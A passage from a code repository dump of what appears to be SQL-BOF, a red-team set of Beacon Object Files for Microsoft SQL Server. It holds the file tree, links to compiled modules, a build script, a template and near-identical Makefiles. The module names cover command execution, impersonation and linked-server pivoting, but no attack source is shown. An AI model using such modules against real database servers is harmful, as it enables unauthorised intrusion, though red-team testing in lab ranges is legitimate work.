├── .gitignore ├── SQL ├── clr │ ├── clr.x64.o │ └── clr.x86.o ├── smb │ ├── smb.x64.o │ └── smb.x86.o ├── adsi │ ├── adsi.x64.o │ └── adsi.x86.o ├── info │ ├── info.x64.o │ └── info.x86.o ├── rows │ ├── rows.x64.o │ └── rows.x86.o ├── links │ ├── links.x64.o │ └── links.x86.o ├── query │ ├── query.x64.o │ └── query.x86.o ├── users │ ├── users.x64.o │ └── users.x86.o ├── xpcmd │ ├── xpcmd.x64.o │ └── xpcmd.x86.o ├── olecmd │ ├── olecmd.x64.o │ └── olecmd.x86.o ├── search │ ├── search.x64.o │ └── search.x86.o ├── tables │ ├── tables.x64.o │ └── tables.x86.o ├── whoami │ ├── whoami.x64.o │ └── whoami.x86.o ├── 1434udp │ ├── 1434udp.x64.o │ └── 1434udp.x86.o ├── agentcmd │ ├── agentcmd.x64.o │ └── agentcmd.x86.o ├── checkrpc │ ├── checkrpc.x64.o │ └── checkrpc.x86.o ├── columns │ ├── columns.x64.o │ └── columns.x86.o ├── databases │ ├── databases.x64.o │ └── databases.x86.o ├── agentstatus │ ├── agentstatus.x64.o │ └── agentstatus.x86.o ├── impersonate │ ├── impersonate.x64.o │ └── impersonate.x86.o └── togglemodule │ ├── togglemodule.x64.o │ └── togglemodule.x86.o ├── make_all.sh ├── src ├── base_template │ ├── entry.c │ └── Makefile ├── SQL │ ├── rows │ │ ├── Makefile │ │ └── entry.c │ ├── 1434udp │ │ ├── Makefile │ │ └── entry.c │ ├── adsi │ │ ├── Makefile │ │ └── entry.c │ ├── clr │ │ ├── Makefile │ │ └── entry.c │ ├── info │ │ ├── Makefile │ │ └── entry.c │ ├── links │ │ ├── Makefile │ │ └── entry.c │ ├── smb │ │ ├── Makefile │ │ └── entry.c │ ├── columns │ │ ├── Makefile │ │ └── entry.c │ ├── olecmd │ │ ├── Makefile │ │ └── entry.c │ ├── query │ │ ├── Makefile │ │ └── entry.c │ ├── search │ │ ├── Makefile │ │ └── entry.c │ ├── tables │ │ ├── Makefile │ │ └── entry.c │ ├── users │ │ ├── Makefile │ │ └── entry.c │ ├── whoami │ │ ├── Makefile │ │ └── entry.c │ ├── xpcmd │ │ ├── Makefile │ │ └── entry.c │ ├── agentcmd │ │ ├── Makefile │ │ └── entry.c │ ├── checkrpc │ │ ├── Makefile │ │ └── entry.c │ ├── databases │ │ ├── Makefile │ │ └── entry.c │ ├── agentstatus │ │ ├── Makefile │ │ └── entry.c │ ├── impersonate │ │ ├── Makefile │ │ └── entry.c │ └── togglemodule │ │ ├── Makefile │ │ └── entry.c └── common │ ├── beacon.h │ ├── sql_agent.c │ ├── sql_modules.c │ ├── base.c │ ├── bofdefs.h │ ├── sql_clr.c │ └── sql.c └── README.md /.gitignore: -------------------------------------------------------------------------------- 1 | *.exe -------------------------------------------------------------------------------- /SQL/clr/clr.x64.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Tw1sm/SQL-BOF/HEAD/SQL/clr/clr.x64.o -------------------------------------------------------------------------------- /SQL/clr/clr.x86.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Tw1sm/SQL-BOF/HEAD/SQL/clr/clr.x86.o -------------------------------------------------------------------------------- /SQL/smb/smb.x64.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Tw1sm/SQL-BOF/HEAD/SQL/smb/smb.x64.o -------------------------------------------------------------------------------- /SQL/smb/smb.x86.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Tw1sm/SQL-BOF/HEAD/SQL/smb/smb.x86.o -------------------------------------------------------------------------------- /SQL/adsi/adsi.x64.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Tw1sm/SQL-BOF/HEAD/SQL/adsi/adsi.x64.o -------------------------------------------------------------------------------- /SQL/adsi/adsi.x86.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Tw1sm/SQL-BOF/HEAD/SQL/adsi/adsi.x86.o -------------------------------------------------------------------------------- /SQL/info/info.x64.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Tw1sm/SQL-BOF/HEAD/SQL/info/info.x64.o -------------------------------------------------------------------------------- /SQL/info/info.x86.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Tw1sm/SQL-BOF/HEAD/SQL/info/info.x86.o -------------------------------------------------------------------------------- /SQL/rows/rows.x64.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Tw1sm/SQL-BOF/HEAD/SQL/rows/rows.x64.o -------------------------------------------------------------------------------- /SQL/rows/rows.x86.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Tw1sm/SQL-BOF/HEAD/SQL/rows/rows.x86.o -------------------------------------------------------------------------------- /SQL/links/links.x64.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Tw1sm/SQL-BOF/HEAD/SQL/links/links.x64.o -------------------------------------------------------------------------------- /SQL/links/links.x86.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Tw1sm/SQL-BOF/HEAD/SQL/links/links.x86.o -------------------------------------------------------------------------------- /SQL/query/query.x64.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Tw1sm/SQL-BOF/HEAD/SQL/query/query.x64.o -------------------------------------------------------------------------------- /SQL/query/query.x86.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Tw1sm/SQL-BOF/HEAD/SQL/query/query.x86.o -------------------------------------------------------------------------------- /SQL/users/users.x64.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Tw1sm/SQL-BOF/HEAD/SQL/users/users.x64.o -------------------------------------------------------------------------------- /SQL/users/users.x86.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Tw1sm/SQL-BOF/HEAD/SQL/users/users.x86.o -------------------------------------------------------------------------------- /SQL/xpcmd/xpcmd.x64.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Tw1sm/SQL-BOF/HEAD/SQL/xpcmd/xpcmd.x64.o -------------------------------------------------------------------------------- /SQL/xpcmd/xpcmd.x86.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Tw1sm/SQL-BOF/HEAD/SQL/xpcmd/xpcmd.x86.o -------------------------------------------------------------------------------- /SQL/olecmd/olecmd.x64.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Tw1sm/SQL-BOF/HEAD/SQL/olecmd/olecmd.x64.o -------------------------------------------------------------------------------- /SQL/olecmd/olecmd.x86.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Tw1sm/SQL-BOF/HEAD/SQL/olecmd/olecmd.x86.o -------------------------------------------------------------------------------- /SQL/search/search.x64.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Tw1sm/SQL-BOF/HEAD/SQL/search/search.x64.o -------------------------------------------------------------------------------- /SQL/search/search.x86.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Tw1sm/SQL-BOF/HEAD/SQL/search/search.x86.o -------------------------------------------------------------------------------- /SQL/tables/tables.x64.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Tw1sm/SQL-BOF/HEAD/SQL/tables/tables.x64.o -------------------------------------------------------------------------------- /SQL/tables/tables.x86.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Tw1sm/SQL-BOF/HEAD/SQL/tables/tables.x86.o -------------------------------------------------------------------------------- /SQL/whoami/whoami.x64.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Tw1sm/SQL-BOF/HEAD/SQL/whoami/whoami.x64.o -------------------------------------------------------------------------------- /SQL/whoami/whoami.x86.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Tw1sm/SQL-BOF/HEAD/SQL/whoami/whoami.x86.o -------------------------------------------------------------------------------- /SQL/1434udp/1434udp.x64.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Tw1sm/SQL-BOF/HEAD/SQL/1434udp/1434udp.x64.o -------------------------------------------------------------------------------- /SQL/1434udp/1434udp.x86.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Tw1sm/SQL-BOF/HEAD/SQL/1434udp/1434udp.x86.o -------------------------------------------------------------------------------- /SQL/agentcmd/agentcmd.x64.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Tw1sm/SQL-BOF/HEAD/SQL/agentcmd/agentcmd.x64.o -------------------------------------------------------------------------------- /SQL/agentcmd/agentcmd.x86.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Tw1sm/SQL-BOF/HEAD/SQL/agentcmd/agentcmd.x86.o -------------------------------------------------------------------------------- /SQL/checkrpc/checkrpc.x64.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Tw1sm/SQL-BOF/HEAD/SQL/checkrpc/checkrpc.x64.o -------------------------------------------------------------------------------- /SQL/checkrpc/checkrpc.x86.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Tw1sm/SQL-BOF/HEAD/SQL/checkrpc/checkrpc.x86.o -------------------------------------------------------------------------------- /SQL/columns/columns.x64.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Tw1sm/SQL-BOF/HEAD/SQL/columns/columns.x64.o -------------------------------------------------------------------------------- /SQL/columns/columns.x86.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Tw1sm/SQL-BOF/HEAD/SQL/columns/columns.x86.o -------------------------------------------------------------------------------- /SQL/databases/databases.x64.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Tw1sm/SQL-BOF/HEAD/SQL/databases/databases.x64.o -------------------------------------------------------------------------------- /SQL/databases/databases.x86.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Tw1sm/SQL-BOF/HEAD/SQL/databases/databases.x86.o -------------------------------------------------------------------------------- /SQL/agentstatus/agentstatus.x64.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Tw1sm/SQL-BOF/HEAD/SQL/agentstatus/agentstatus.x64.o -------------------------------------------------------------------------------- /SQL/agentstatus/agentstatus.x86.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Tw1sm/SQL-BOF/HEAD/SQL/agentstatus/agentstatus.x86.o -------------------------------------------------------------------------------- /SQL/impersonate/impersonate.x64.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Tw1sm/SQL-BOF/HEAD/SQL/impersonate/impersonate.x64.o -------------------------------------------------------------------------------- /SQL/impersonate/impersonate.x86.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Tw1sm/SQL-BOF/HEAD/SQL/impersonate/impersonate.x86.o -------------------------------------------------------------------------------- /SQL/togglemodule/togglemodule.x64.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Tw1sm/SQL-BOF/HEAD/SQL/togglemodule/togglemodule.x64.o -------------------------------------------------------------------------------- /SQL/togglemodule/togglemodule.x86.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Tw1sm/SQL-BOF/HEAD/SQL/togglemodule/togglemodule.x86.o -------------------------------------------------------------------------------- /make_all.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | cd src/SQL 4 | ls | while read dir; do 5 | if [[ -d $dir ]]; then 6 | cd $dir 7 | if [[ -f "Makefile" ]]; then 8 | make >/dev/null 9 | echo "- $dir" 10 | fi 11 | cd .. 12 | fi 13 | done 14 | cd ../.. 15 | 16 | -------------------------------------------------------------------------------- /src/base_template/entry.c: -------------------------------------------------------------------------------- 1 | #include "bofdefs.h" 2 | #include "base.c" 3 | 4 | #ifdef BOF 5 | VOID go( 6 | IN PCHAR Buffer, 7 | IN ULONG Length 8 | ) 9 | { 10 | if(!bofstart()) 11 | { 12 | return; 13 | } 14 | //CALLYOURFUNCHERE 15 | printoutput(TRUE); 16 | }; 17 | 18 | #else 19 | 20 | int main() 21 | { 22 | //code for standalone exe for scanbuild / leak checks 23 | } 24 | 25 | #endif 26 | -------------------------------------------------------------------------------- /src/SQL/rows/Makefile: -------------------------------------------------------------------------------- 1 | BOFNAME := rows 2 | COMINCLUDE := -I ../../common 3 | LIBINCLUDE := -lodbc32 4 | CC_x64 := x86_64-w64-mingw32-gcc 5 | CC_x86 := i686-w64-mingw32-gcc 6 | CC=x86_64-w64-mingw32-clang 7 | 8 | all: 9 | $(CC_x64) -o $(BOFNAME).x64.o $(COMINCLUDE) -Os -c entry.c -DBOF 10 | $(CC_x86) -o $(BOFNAME).x86.o $(COMINCLUDE) -Os -c entry.c -DBOF 11 | mkdir -p ../../../SQL/$(BOFNAME) 12 | mv $(BOFNAME)*.o ../../../SQL/$(BOFNAME) 13 | 14 | test: 15 | $(CC_x64) entry.c -g $(COMINCLUDE) $(LIBINCLUDE) -o $(BOFNAME).x64.exe 16 | $(CC_x86) entry.c -g $(COMINCLUDE) $(LIBINCLUDE) -o $(BOFNAME).x86.exe 17 | 18 | test_goad: 19 | $(MAKE) test 20 | scp $(BOFNAME)*.exe jon.snow@10.2.10.11:BOFs/ 21 | 22 | scanbuild: 23 | $(CC) entry.c -o $(BOFNAME).scanbuild.exe $(COMINCLUDE) $(LIBINCLUDE) 24 | 25 | check: 26 | cppcheck --enable=all $(COMINCLUDE) --platform=win64 entry.c 27 | 28 | clean: 29 | rm $(BOFNAME).*.exe -------------------------------------------------------------------------------- /src/SQL/1434udp/Makefile: -------------------------------------------------------------------------------- 1 | BOFNAME := 1434udp 2 | COMINCLUDE := -I ../../common 3 | LIBINCLUDE := -lWs2_32 4 | CC_x64 := x86_64-w64-mingw32-gcc 5 | CC_x86 := i686-w64-mingw32-gcc 6 | CC=x86_64-w64-mingw32-clang 7 | 8 | all: 9 | $(CC_x64) -o $(BOFNAME).x64.o $(COMINCLUDE) -Os -c entry.c -DBOF 10 | $(CC_x86) -o $(BOFNAME).x86.o $(COMINCLUDE) -Os -c entry.c -DBOF 11 | mkdir -p ../../../SQL/$(BOFNAME) 12 | mv $(BOFNAME)*.o ../../../SQL/$(BOFNAME) 13 | 14 | test: 15 | $(CC_x64) entry.c -g $(COMINCLUDE) $(LIBINCLUDE) -o $(BOFNAME).x64.exe 16 | $(CC_x86) entry.c -g $(COMINCLUDE) $(LIBINCLUDE) -o $(BOFNAME).x86.exe 17 | 18 | test_goad: 19 | $(MAKE) test 20 | scp $(BOFNAME)*.exe jon.snow@10.2.10.11:BOFs/ 21 | 22 | scanbuild: 23 | $(CC) entry.c -o $(BOFNAME).scanbuild.exe $(COMINCLUDE) $(LIBINCLUDE) 24 | 25 | check: 26 | cppcheck --enable=all $(COMINCLUDE) --platform=win64 entry.c 27 | 28 | clean: 29 | rm $(BOFNAME).*.exe -------------------------------------------------------------------------------- /src/SQL/adsi/Makefile: -------------------------------------------------------------------------------- 1 | BOFNAME := adsi 2 | COMINCLUDE := -I ../../common 3 | LIBINCLUDE := -lodbc32 4 | CC_x64 := x86_64-w64-mingw32-gcc 5 | CC_x86 := i686-w64-mingw32-gcc 6 | CC=x86_64-w64-mingw32-clang 7 | 8 | all: 9 | $(CC_x64) -o $(BOFNAME).x64.o $(COMINCLUDE) -Os -c entry.c -DBOF 10 | $(CC_x86) -o $(BOFNAME).x86.o $(COMINCLUDE) -Os -c entry.c -DBOF 11 | mkdir -p ../../../SQL/$(BOFNAME) 12 | mv $(BOFNAME)*.o ../../../SQL/$(BOFNAME) 13 | 14 | goad: 15 | $(MAKE) all 16 | scp ../../../SQL/$(BOFNAME)/* jon.snow@10.2.10.11:BOFs/ 17 | 18 | test: 19 | $(CC_x64) entry.c -g $(COMINCLUDE) $(LIBINCLUDE) -o $(BOFNAME).x64.exe 20 | $(CC_x86) entry.c -g $(COMINCLUDE) $(LIBINCLUDE) -o $(BOFNAME).x86.exe 21 | 22 | test_goad: 23 | $(MAKE) test 24 | scp $(BOFNAME)*.exe jon.snow@10.2.10.11:BOFs/ 25 | 26 | scanbuild: 27 | $(CC) entry.c -o $(BOFNAME).scanbuild.exe $(COMINCLUDE) $(LIBINCLUDE) 28 | 29 | check: 30 | cppcheck --enable=all $(COMINCLUDE) --platform=win64 entry.c 31 | 32 | clean: 33 | rm $(BOFNAME).*.exe -------------------------------------------------------------------------------- /src/SQL/clr/Makefile: -------------------------------------------------------------------------------- 1 | BOFNAME := clr 2 | COMINCLUDE := -I ../../common 3 | LIBINCLUDE := -lodbc32 4 | CC_x64 := x86_64-w64-mingw32-gcc 5 | CC_x86 := i686-w64-mingw32-gcc 6 | CC=x86_64-w64-mingw32-clang 7 | 8 | all: 9 | $(CC_x64) -o $(BOFNAME).x64.o $(COMINCLUDE) -Os -c entry.c -DBOF 10 | $(CC_x86) -o $(BOFNAME).x86.o $(COMINCLUDE) -Os -c entry.c -DBOF 11 | mkdir -p ../../../SQL/$(BOFNAME) 12 | mv $(BOFNAME)*.o ../../../SQL/$(BOFNAME) 13 | 14 | goad: 15 | $(MAKE) all 16 | scp ../../../SQL/$(BOFNAME)/* jon.snow@10.2.10.11:BOFs/ 17 | 18 | test: 19 | $(CC_x64) entry.c -g $(COMINCLUDE) $(LIBINCLUDE) -o $(BOFNAME).x64.exe 20 | $(CC_x86) entry.c -g $(COMINCLUDE) $(LIBINCLUDE) -o $(BOFNAME).x86.exe 21 | 22 | test_goad: 23 | $(MAKE) test 24 | scp $(BOFNAME)*.exe jon.snow@10.2.10.11:BOFs/ 25 | 26 | scanbuild: 27 | $(CC) entry.c -o $(BOFNAME).scanbuild.exe $(COMINCLUDE) $(LIBINCLUDE) 28 | 29 | check: 30 | cppcheck --enable=all $(COMINCLUDE) --platform=win64 entry.c 31 | 32 | clean: 33 | rm $(BOFNAME).*.exe -------------------------------------------------------------------------------- /src/SQL/info/Makefile: -------------------------------------------------------------------------------- 1 | BOFNAME := info 2 | COMINCLUDE := -I ../../common 3 | LIBINCLUDE := -lodbc32 4 | CC_x64 := x86_64-w64-mingw32-gcc 5 | CC_x86 := i686-w64-mingw32-gcc 6 | CC=x86_64-w64-mingw32-clang 7 | 8 | all: 9 | $(CC_x64) -o $(BOFNAME).x64.o $(COMINCLUDE) -Os -c entry.c -DBOF 10 | $(CC_x86) -o $(BOFNAME).x86.o $(COMINCLUDE) -Os -c entry.c -DBOF 11 | mkdir -p ../../../SQL/$(BOFNAME) 12 | mv $(BOFNAME)*.o ../../../SQL/$(BOFNAME) 13 | 14 | goad: 15 | $(MAKE) all 16 | scp ../../../SQL/$(BOFNAME)/* jon.snow@10.2.10.11:BOFs/ 17 | 18 | test: 19 | $(CC_x64) entry.c -g $(COMINCLUDE) $(LIBINCLUDE) -o $(BOFNAME).x64.exe 20 | $(CC_x86) entry.c -g $(COMINCLUDE) $(LIBINCLUDE) -o $(BOFNAME).x86.exe 21 | 22 | test_goad: 23 | $(MAKE) test 24 | scp $(BOFNAME)*.exe jon.snow@10.2.10.11:BOFs/ 25 | 26 | scanbuild: 27 | $(CC) entry.c -o $(BOFNAME).scanbuild.exe $(COMINCLUDE) $(LIBINCLUDE) 28 | 29 | check: 30 | cppcheck --enable=all $(COMINCLUDE) --platform=win64 entry.c 31 | 32 | clean: 33 | rm $(BOFNAME).*.exe -------------------------------------------------------------------------------- /src/SQL/links/Makefile: -------------------------------------------------------------------------------- 1 | BOFNAME := links 2 | COMINCLUDE := -I ../../common 3 | LIBINCLUDE := -lodbc32 4 | CC_x64 := x86_64-w64-mingw32-gcc 5 | CC_x86 := i686-w64-mingw32-gcc 6 | CC=x86_64-w64-mingw32-clang 7 | 8 | all: 9 | $(CC_x64) -o $(BOFNAME).x64.o $(COMINCLUDE) -Os -c entry.c -DBOF 10 | $(CC_x86) -o $(BOFNAME).x86.o $(COMINCLUDE) -Os -c entry.c -DBOF 11 | mkdir -p ../../../SQL/$(BOFNAME) 12 | mv $(BOFNAME)*.o ../../../SQL/$(BOFNAME) 13 | 14 | goad: 15 | $(MAKE) all 16 | scp ../../../SQL/$(BOFNAME)/* jon.snow@10.2.10.11:BOFs/ 17 | 18 | test: 19 | $(CC_x64) entry.c -g $(COMINCLUDE) $(LIBINCLUDE) -o $(BOFNAME).x64.exe 20 | $(CC_x86) entry.c -g $(COMINCLUDE) $(LIBINCLUDE) -o $(BOFNAME).x86.exe 21 | 22 | test_goad: 23 | $(MAKE) test 24 | scp $(BOFNAME)*.exe jon.snow@10.2.10.11:BOFs/ 25 | 26 | scanbuild: 27 | $(CC) entry.c -o $(BOFNAME).scanbuild.exe $(COMINCLUDE) $(LIBINCLUDE) 28 | 29 | check: 30 | cppcheck --enable=all $(COMINCLUDE) --platform=win64 entry.c 31 | 32 | clean: 33 | rm $(BOFNAME).*.exe -------------------------------------------------------------------------------- /src/SQL/smb/Makefile: -------------------------------------------------------------------------------- 1 | BOFNAME := smb 2 | COMINCLUDE := -I ../../common 3 | LIBINCLUDE := -lodbc32 4 | CC_x64 := x86_64-w64-mingw32-gcc 5 | CC_x86 := i686-w64-mingw32-gcc 6 | CC=x86_64-w64-mingw32-clang 7 | 8 | all: 9 | $(CC_x64) -o $(BOFNAME).x64.o $(COMINCLUDE) -Os -c entry.c -DBOF 10 | $(CC_x86) -o $(BOFNAME).x86.o $(COMINCLUDE) -Os -c entry.c -DBOF 11 | mkdir -p ../../../SQL/$(BOFNAME) 12 | mv $(BOFNAME)*.o ../../../SQL/$(BOFNAME) 13 | 14 | goad: 15 | $(MAKE) all 16 | scp ../../../SQL/$(BOFNAME)/* jon.snow@10.2.10.11:BOFs/ 17 | 18 | test: 19 | $(CC_x64) entry.c -g $(COMINCLUDE) $(LIBINCLUDE) -o $(BOFNAME).x64.exe 20 | $(CC_x86) entry.c -g $(COMINCLUDE) $(LIBINCLUDE) -o $(BOFNAME).x86.exe 21 | 22 | test_goad: 23 | $(MAKE) test 24 | scp $(BOFNAME)*.exe jon.snow@10.2.10.11:BOFs/ 25 | 26 | scanbuild: 27 | $(CC) entry.c -o $(BOFNAME).scanbuild.exe $(COMINCLUDE) $(LIBINCLUDE) 28 | 29 | check: 30 | cppcheck --enable=all $(COMINCLUDE) --platform=win64 entry.c 31 | 32 | clean: 33 | rm $(BOFNAME).*.exe -------------------------------------------------------------------------------- /src/SQL/columns/Makefile: -------------------------------------------------------------------------------- 1 | BOFNAME := columns 2 | COMINCLUDE := -I ../../common 3 | LIBINCLUDE := -lodbc32 4 | CC_x64 := x86_64-w64-mingw32-gcc 5 | CC_x86 := i686-w64-mingw32-gcc 6 | CC=x86_64-w64-mingw32-clang 7 | 8 | all: 9 | $(CC_x64) -o $(BOFNAME).x64.o $(COMINCLUDE) -Os -c entry.c -DBOF 10 | $(CC_x86) -o $(BOFNAME).x86.o $(COMINCLUDE) -Os -c entry.c -DBOF 11 | mkdir -p ../../../SQL/$(BOFNAME) 12 | mv $(BOFNAME)*.o ../../../SQL/$(BOFNAME) 13 | 14 | goad: 15 | $(MAKE) all 16 | scp ../../../SQL/$(BOFNAME)/* jon.snow@10.2.10.11:BOFs/ 17 | 18 | test: 19 | $(CC_x64) entry.c -g $(COMINCLUDE) $(LIBINCLUDE) -o $(BOFNAME).x64.exe 20 | $(CC_x86) entry.c -g $(COMINCLUDE) $(LIBINCLUDE) -o $(BOFNAME).x86.exe 21 | 22 | test_goad: 23 | $(MAKE) test 24 | scp $(BOFNAME)*.exe jon.snow@10.2.10.11:BOFs/ 25 | 26 | scanbuild: 27 | $(CC) entry.c -o $(BOFNAME).scanbuild.exe $(COMINCLUDE) $(LIBINCLUDE) 28 | 29 | check: 30 | cppcheck --enable=all $(COMINCLUDE) --platform=win64 entry.c 31 | 32 | clean: 33 | rm $(BOFNAME).*.exe -------------------------------------------------------------------------------- /src/SQL/olecmd/Makefile: -------------------------------------------------------------------------------- 1 | BOFNAME := olecmd 2 | COMINCLUDE := -I ../../common 3 | LIBINCLUDE := -lodbc32 4 | CC_x64 := x86_64-w64-mingw32-gcc 5 | CC_x86 := i686-w64-mingw32-gcc 6 | CC=x86_64-w64-mingw32-clang 7 | 8 | all: 9 | $(CC_x64) -o $(BOFNAME).x64.o $(COMINCLUDE) -Os -c entry.c -DBOF 10 | $(CC_x86) -o $(BOFNAME).x86.o $(COMINCLUDE) -Os -c entry.c -DBOF 11 | mkdir -p ../../../SQL/$(BOFNAME) 12 | mv $(BOFNAME)*.o ../../../SQL/$(BOFNAME) 13 | 14 | goad: 15 | $(MAKE) all 16 | scp ../../../SQL/$(BOFNAME)/* jon.snow@10.2.10.11:BOFs/ 17 | 18 | test: 19 | $(CC_x64) entry.c -g $(COMINCLUDE) $(LIBINCLUDE) -o $(BOFNAME).x64.exe 20 | $(CC_x86) entry.c -g $(COMINCLUDE) $(LIBINCLUDE) -o $(BOFNAME).x86.exe 21 | 22 | test_goad: 23 | $(MAKE) test 24 | scp $(BOFNAME)*.exe jon.snow@10.2.10.11:BOFs/ 25 | 26 | scanbuild: 27 | $(CC) entry.c -o $(BOFNAME).scanbuild.exe $(COMINCLUDE) $(LIBINCLUDE) 28 | 29 | check: 30 | cppcheck --enable=all $(COMINCLUDE) --platform=win64 entry.c 31 | 32 | clean: 33 | rm $(BOFNAME).*.exe -------------------------------------------------------------------------------- /src/SQL/query/Makefile: -------------------------------------------------------------------------------- 1 | BOFNAME := query 2 | COMINCLUDE := -I ../../common 3 | LIBINCLUDE := -lodbc32 4 | CC_x64 := x86_64-w64-mingw32-gcc 5 | CC_x86 := i686-w64-mingw32-gcc 6 | CC=x86_64-w64-mingw32-clang 7 | 8 | all: 9 | $(CC_x64) -o $(BOFNAME).x64.o $(COMINCLUDE) -Os -c entry.c -DBOF 10 | $(CC_x86) -o $(BOFNAME).x86.o $(COMINCLUDE) -Os -c entry.c -DBOF 11 | mkdir -p ../../../SQL/$(BOFNAME) 12 | mv $(BOFNAME)*.o ../../../SQL/$(BOFNAME) 13 | 14 | goad: 15 | $(MAKE) all 16 | scp ../../../SQL/$(BOFNAME)/* jon.snow@10.2.10.11:BOFs/ 17 | 18 | test: 19 | $(CC_x64) entry.c -g $(COMINCLUDE) $(LIBINCLUDE) -o $(BOFNAME).x64.exe 20 | $(CC_x86) entry.c -g $(COMINCLUDE) $(LIBINCLUDE) -o $(BOFNAME).x86.exe 21 | 22 | test_goad: 23 | $(MAKE) test 24 | scp $(BOFNAME)*.exe jon.snow@10.2.10.11:BOFs/ 25 | 26 | scanbuild: 27 | $(CC) entry.c -o $(BOFNAME).scanbuild.exe $(COMINCLUDE) $(LIBINCLUDE) 28 | 29 | check: 30 | cppcheck --enable=all $(COMINCLUDE) --platform=win64 entry.c 31 | 32 | clean: 33 | rm $(BOFNAME).*.exe -------------------------------------------------------------------------------- /src/SQL/search/Makefile: -------------------------------------------------------------------------------- 1 | BOFNAME := search 2 | COMINCLUDE := -I ../../common 3 | LIBINCLUDE := -lodbc32 4 | CC_x64 := x86_64-w64-mingw32-gcc 5 | CC_x86 := i686-w64-mingw32-gcc 6 | CC=x86_64-w64-mingw32-clang 7 | 8 | all: 9 | $(CC_x64) -o $(BOFNAME).x64.o $(COMINCLUDE) -Os -c entry.c -DBOF 10 | $(CC_x86) -o $(BOFNAME).x86.o $(COMINCLUDE) -Os -c entry.c -DBOF 11 | mkdir -p ../../../SQL/$(BOFNAME) 12 | mv $(BOFNAME)*.o ../../../SQL/$(BOFNAME) 13 | 14 | goad: 15 | $(MAKE) all 16 | scp ../../../SQL/$(BOFNAME)/* jon.snow@10.2.10.11:BOFs/ 17 | 18 | test: 19 | $(CC_x64) entry.c -g $(COMINCLUDE) $(LIBINCLUDE) -o $(BOFNAME).x64.exe 20 | $(CC_x86) entry.c -g $(COMINCLUDE) $(LIBINCLUDE) -o $(BOFNAME).x86.exe 21 | 22 | test_goad: 23 | $(MAKE) test 24 | scp $(BOFNAME)*.exe jon.snow@10.2.10.11:BOFs/ 25 | 26 | scanbuild: 27 | $(CC) entry.c -o $(BOFNAME).scanbuild.exe $(COMINCLUDE) $(LIBINCLUDE) 28 | 29 | check: 30 | cppcheck --enable=all $(COMINCLUDE) --platform=win64 entry.c 31 | 32 | clean: 33 | rm $(BOFNAME).*.exe -------------------------------------------------------------------------------- /src/SQL/tables/Makefile: -------------------------------------------------------------------------------- 1 | BOFNAME := tables 2 | COMINCLUDE := -I ../../common 3 | LIBINCLUDE := -lodbc32 4 | CC_x64 := x86_64-w64-mingw32-gcc 5 | CC_x86 := i686-w64-mingw32-gcc 6 | CC=x86_64-w64-mingw32-clang 7 | 8 | all: 9 | $(CC_x64) -o $(BOFNAME).x64.o $(COMINCLUDE) -Os -c entry.c -DBOF 10 | $(CC_x86) -o $(BOFNAME).x86.o $(COMINCLUDE) -Os -c entry.c -DBOF 11 | mkdir -p ../../../SQL/$(BOFNAME) 12 | mv $(BOFNAME)*.o ../../../SQL/$(BOFNAME) 13 | 14 | goad: 15 | $(MAKE) all 16 | scp ../../../SQL/$(BOFNAME)/* jon.snow@10.2.10.11:BOFs/ 17 | 18 | test: 19 | $(CC_x64) entry.c -g $(COMINCLUDE) $(LIBINCLUDE) -o $(BOFNAME).x64.exe 20 | $(CC_x86) entry.c -g $(COMINCLUDE) $(LIBINCLUDE) -o $(BOFNAME).x86.exe 21 | 22 | test_goad: 23 | $(MAKE) test 24 | scp $(BOFNAME)*.exe jon.snow@10.2.10.11:BOFs/ 25 | 26 | scanbuild: 27 | $(CC) entry.c -o $(BOFNAME).scanbuild.exe $(COMINCLUDE) $(LIBINCLUDE) 28 | 29 | check: 30 | cppcheck --enable=all $(COMINCLUDE) --platform=win64 entry.c 31 | 32 | clean: 33 | rm $(BOFNAME).*.exe -------------------------------------------------------------------------------- /src/SQL/users/Makefile: -------------------------------------------------------------------------------- 1 | BOFNAME := users 2 | COMINCLUDE := -I ../../common 3 | LIBINCLUDE := -lodbc32 4 | CC_x64 := x86_64-w64-mingw32-gcc 5 | CC_x86 := i686-w64-mingw32-gcc 6 | CC=x86_64-w64-mingw32-clang 7 | 8 | all: 9 | 